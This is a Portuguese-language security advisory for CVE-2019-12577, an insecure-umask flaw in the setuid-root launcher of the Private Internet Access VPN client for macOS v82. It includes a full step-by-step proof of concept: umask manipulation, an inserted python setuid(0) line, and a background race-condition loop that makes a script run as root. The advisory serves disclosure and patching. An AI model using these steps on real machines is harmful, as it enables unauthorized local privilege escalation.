For the English version of this alert, click here.
Allele Security Alert
ASA-2019-00383
Identificador(es)
ASA-2019-00383, CVE-2019-12577
Título
Insecure umask
Fabricante(s)
London Trust Media, Inc
Produto(s)
Private Internet Access (PIA) VPN Client
Versão(ões) afetada(s)
Private Internet Access (PIA) VPN Client para macOS v82
Versão(ões) corrigida(s)
Private Internet Access (PIA) VPN Client for macOS v1.2.1 or later
Prova de conceito
Sim
Descrição
Uma vulnerabilidade no Private Internet Access (PIA) VPN Client para macOS v82 pode permitir que um atacante local autenticado execute código arbitrário com privilégios elevados.
Detalhes técnicos
O binário PIA macOS openvpn_launcher.64 é setuid root. Esse binário cria /tmp/pia_upscript.sh quando executado. Como a máscara de criação de arquivo (umask) não é redefinida, o valor umask é herdado do processo de chamada. Esse valor pode ser manipulado para fazer com que o binário privilegiado crie arquivos com permissões de escrita para todos. Um usuário local sem privilégios pode modificar /tmp/pia_upscript.sh durante o processo de conexão para executar código arbitrário como o usuário root.
Todas as etapas são executadas como um usuário com poucos privilégios.
Passo 1 – defina umask para 0000.
umask 0000
Etapa 2 – Verifique se a máscara é 0000.
umask
Etapa 3 – Execute o openvpn_launcher.64. Isto irá criar /tmp/pia_upscript.sh com permissões de 777.
# macOS /Applications/Private\ Internet\ Access.app/Contents/Resources/openvpn_launcher 2>/dv/null
Passo 4 – Verifique se /tmp/pia_upscript.sh tem permissão de escrita para todos.
ls -ld /tmp/pia_upscript.sh
Etapa 5 – Crie uma cópia do /tmp/pia_upscript.sh.
cp /tmp/pia_upscript.sh /tmp/pia_upscript.sh.woot
Passo 6 – Inserir código arbitrário em /tmp/pia_upscript.sh.woot.
Para este PoC, vamos executar o comando id e enviar a saída para o wall. Isto irá mostrar o uid/gid através de uma mensagem de broadcast do sistema.
# Add this line to line #2 of the /tmp/pia_upscript.sh.woot. python -c 'import os;os.setuid(0);os.system("id|wall");’
Passo 7 – Vença o race condition sobregravando continuamente /tmp/pia_upscript.sh. Coloque o trabalho em segundo plano. Isso é necessário porque, durante o processo de conexão, o script será sobrescrito.
cd /tmp while true; do cp pia_upscript.sh.woot pia_upscript.sh;done &
Passo 8 – Execute o run.sh para abrir o cliente da GUI da PIA
/Applications/Private\ Internet\ Access.app/Contents/MacOS/run.sh
Etapa 9 – Faça o login e conecte-se à VPN
Durante o processo de conexão /tmp/pia_upscript.sh será executado como root e você deverá ver uma mensagem do wall mostrando a saída do comando id com uid=0.
Créditos
Rich Mirch
Referência(s)
PIA macOS Privilege Escalation: Insecure umask
https://github.com/mirchr/security-research/blob/master/vulnerabilities/PIA/CVE-2019-12577.txt
CVE-2019-12577
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12577
CVE-2019-12577
https://nvd.nist.gov/vuln/detail/CVE-2019-12577
Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.
Última modificação: 26 junho 2019